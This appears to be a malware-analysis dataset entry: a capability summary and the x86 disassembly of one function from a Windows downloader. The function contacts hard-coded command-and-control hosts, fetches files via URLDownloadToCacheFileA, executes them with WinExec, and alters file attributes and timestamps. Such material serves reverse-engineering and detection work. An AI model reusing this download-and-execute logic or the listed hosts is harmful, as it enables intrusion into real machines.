Function at 0x10005bef
Capabilities:
Check if file exists
Copy file
Create process on windows
Get common file path
Get file attributes
Schedule task via at
Set file attributes

Disassembly:
mov eax, 0x4a3c
call fcn.10012960
mov eax, dword [0x1002b0a0]
xor eax, esp
mov dword [esp + 0x4a38], eax
push ebx
push ebp
push esi
push edi
mov ebp, 0x12c
push ebp
xor ebx, ebx
lea eax, [esp + 0x1dc]
push ebx
push eax
call fcn.1000f9c0
add esp, 0xc
lea eax, [esp + 0x1d8]
push eax
lea edi, [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x1d8]
lea esi, [esp + 0x1d8]
push eax
dec esi
call fcn.10011b80
cmp byte [eax + esi], 0x5c
pop ecx
jne 0x10005c63
lea eax, [esp + 0x1d8]
push eax
call fcn.10011b80
pop ecx
mov byte [eax + esi], bl
push ebp
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.1000f9c0
add esp, 0xc
push edi
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0xac]
lea esi, [esp + 0xac]
push eax
dec esi
call fcn.10011b80
cmp byte [eax + esi], 0x5c
pop ecx
jne 0x10005cb1
lea eax, [esp + 0xac]
push eax
call fcn.10011b80
pop ecx
mov byte [eax + esi], bl
push edi
push ebx
push 0x1002c878
call fcn.1000f9c0
push 0x400
lea eax, [esp + 0x658]
push ebx
push eax
call fcn.1000f9c0
mov esi, 0xc00
push esi
lea eax, [esp + 0xa64]
push ebx
push eax
call fcn.1000f9c0
push esi
lea eax, [esp + 0x1670]
push ebx
push eax
call fcn.1000f9c0
push 0x1002d6f8
push 0x1002d488
push 0x1002c7ac
mov esi, 0x1002d940
push esi
lea eax, [esp + 0x688]
push str.ids__side_pos__spoe_jjs__sjje_bbs__sbbe_
push eax
call fcn.100118df
add esp, 0x48
lea eax, [esp + 0x648]
push eax
lea eax, [esp + 0xa4c]
push eax
call fcn.10001e9f
lea eax, [esp + 0xa50]
push eax
push esi
lea eax, [esp + 0x1658]
push str.yxhostwjm_sss_s
push eax
call fcn.100118df
push 0x21
pop ecx
mov esi, str.www.jzjnet.com:80_210.1.60.178:443_www.seleader.com:80_www.tqtravel.com:80_www.fdsa432fsat432Os.com:80_www.fdsa432asat432Os.com:80
lea edi, [esp + 0x40]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x40]
mov eax, esi
push 0x2c
push eax
call fcn.10011440
add esp, 0x20
test eax, eax
je 0x10005e3e
push 0x2c
push esi
call fcn.10011440
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
je 0x10005d86
mov byte [edi], bl
push 0x2800
lea eax, [esp + 0x224c]
push ebx
push eax
call fcn.1000f9c0
push 0x50
pop ebp
push 0x3a
push esi
call fcn.10011440
add esp, 0x14
cmp eax, ebx
je 0x10005dbc
push 0xa
mov byte [eax], bl
inc eax
push ebx
push eax
call fcn.10012c87
add esp, 0xc
mov ebp, eax
push 0x2800
lea eax, [esp + 0x224c]
push eax
lea eax, [esp + 0x1650]
push eax
push str.cl.asp
push ebp
push esi
call fcn.10002083
lea eax, [esp + 0x2260]
push eax
call fcn.100211bd
lea eax, [esp + 0x2264]
push str.urls:
push eax
call fcn.10011500
add esp, 0x24
test eax, eax
je 0x10005e33
lea eax, [esp + 0x2248]
push 0x10022fb4
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
je 0x10005e33
lea eax, [esp + 0x2248]
push str.exit
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10005e3e
lea esi, [edi + 1]
cmp edi, ebx
jne 0x10005d74
lea eax, [esp + 0x2249]
push str.urls:
push eax
call fcn.10011500
pop ecx
pop ecx
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x1000618b
mov esi, 0x1002d380
mov edi, 0x1002ce58
push 0x10022fb4
push dword [esp + 0x14]
call fcn.10011500
mov ebp, eax
pop ecx
pop ecx
cmp ebp, ebx
je 0x1000618b
push str.exit
push ebp
call fcn.10011500
pop ecx
pop ecx
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x1000618b
mov byte [eax], bl
lea eax, [ebp - 9]
push str.wwwroot
push eax
mov byte [ebp], bl
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x1000613d
push 0x140
lea eax, [esp + 0x40c]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp - 6]
push eax
lea eax, [esp + 0x1e8]
push eax
lea eax, [esp + 0x41c]
push str._s_s
push eax
call fcn.100118df
lea eax, [ebp - 4]
push 0x10022f98
push eax
mov dword [esp + 0x48], eax
call fcn.10011500
add esp, 0x24
test eax, eax
je 0x10005f44
push 0x100
lea eax, [esp + 0x54c]
push ebx
push eax
call fcn.1000f9c0
lea eax, [esp + 0x554]
push eax
lea eax, [esp + 0x418]
push eax
call fcn.10001d93
add ebp, 3
lea eax, [esp + 0x55c]
push ebp
push eax
mov dword [esp + 0x34], ebp
call fcn.100128d0
add esp, 0x1c
jmp 0x10005f58
add ebp, 3
push ebp
push 0x1002d6f8
mov dword [esp + 0x20], ebp
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x1000611d
mov ebp, 0x104
push ebp
lea eax, [esp + 0x308]
push ebx
push eax
call fcn.1000f9c0
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x314]
push str._surlmon.dll
push eax
call fcn.100118df
add esp, 0x18
lea eax, [esp + 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000611d
lea eax, [esp + 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x1000611d
push str.URLDownloadToCacheFileA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
cmp eax, ebx
je 0x1000618b
push ebp
push ebx
push esi
call fcn.1000f9c0
mov eax, dword [esp + 0x1c]
add esp, 0xc
push ebx
push ebx
push ebp
push esi
add eax, 5
push eax
push ebx
call dword [esp + 0x38]
test eax, eax
jge 0x10006010
push esi
call fcn.1001298b
pop ecx
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1000611d
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebp, 0x1002c878
push ebp
push esi
call fcn.10001d93
push dword [esp + 0x20]
push ebp
call fcn.100128d0
add esp, 0x10
test eax, eax
jne 0x10006116
push 0x10022f98
push dword [esp + 0x28]
call fcn.10011500
pop ecx
pop ecx
test eax, eax
je 0x1000607b
lea eax, [esp + 0x408]
push eax
call fcn.1001298b
pop ecx
push 1
lea eax, [esp + 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10006116
mov ebp, 0x1002c120
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100060b0
push 0x1002d830
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100060a3
push 0x1002d5d0
jmp 0x100060a8
push 0x1002d830
push ebp
call fcn.10011a80
pop ecx
pop ecx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call fcn.1001298b
push edi
push ebp
call fcn.10013209
push edi
call fcn.1001298b
add esp, 0x10
push 1
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push 0x2000000
push 3
push ebx
push 5
push 0xc0000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, 0x1002ca18
push ecx
push ecx
push ecx
push eax
mov dword [0x1002cd4c], eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.10005472
pop ecx
push esi
call fcn.1001298b
pop ecx
mov eax, dword [esp + 0x1c]
inc eax
push str.urls:
push eax
call fcn.10011500
pop ecx
pop ecx
mov dword [esp + 0x10], eax
cmp eax, ebx
jne 0x10005e68
jmp 0x1000618b
push 0xff
push ebx
mov esi, 0x1002cd50
push esi
call fcn.1000f9c0
mov eax, dword [esp + 0x1c]
add eax, 0xc
push eax
push esi
call fcn.10011a80
push 0x2f
push esi
call fcn.10011440
add esp, 0x1c
test eax, eax
je 0x10006177
push 0x2f
push esi
call fcn.10011440
pop ecx
pop ecx
mov byte [eax], bl
push 0xa
push ebx
add ebp, 3
push ebp
call fcn.10012c87
add esp, 0xc
mov dword [0x1002d9f4], eax
mov ecx, dword [esp + 0x4a48]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10011586
add esp, 0x4a3c
ret